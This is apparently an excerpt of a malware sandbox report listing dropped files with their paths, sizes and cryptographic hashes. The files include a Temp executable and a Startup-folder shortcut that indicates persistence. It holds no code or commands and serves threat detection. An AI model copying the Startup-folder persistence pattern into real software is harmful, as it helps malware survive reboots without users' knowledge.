- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
- MD5 2e907f77659a6601fcc408274894da2e
- SHA1 9f5b72abef1cd7145bf37547cdb1b9254b4efe9d
- SHA512 34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 c4d16552769ca1762f6867bce85589c645ac3dc490b650083d74f853f898cfab
- MD5 5cfe303e798d1cc6c1dab341e7265c15
- SHA1 cd2834e05191a24e28a100f3f8114d5a7708dc7c
- SHA512 ef151bbe0033a2caf2d40aff74855a3f42c8171e05a11c8ce93c7039d9430482c43fe93d9164ee94839aff253cad774dbf619dde9a8af38773ca66d59ac3400e
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqq3gvmh.nwl.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\laqxae.exe
- Size 162KB
- SHA256 a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
- MD5 152e3f07bbaf88fb8b097ba05a60df6e
- SHA1 c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
- SHA512 2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
- SSDEEP 3072:KQpsO4jaqeCDcvpeCkZNQgAxjJ2hfOiFIYHwHzaQ09V098F/fUO5tTl:KQpsO4jajCIvpe/ZNQZuhfLguQ00KHTl
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77thing.lnk
- Size 653B
- SHA256 2c3809698102ccaf8f8b5c3b34c0be8ccf4a44c9933ac4edc1e88a0ab7e6e037
- MD5 f4106153a3d75752d99b0930b57316b7
- SHA1 5937c088c1f3a3b8311c0553a430cb584cf66ac1
- SHA512 930d250808dd913622cf5f07eacffec40f01e6e947c7501be344868d5261069e4fe99c63866178fbde68091b6f2d4a4486d4f132c51575f85373fb4055265c01
- MD5 SHA1 SHA512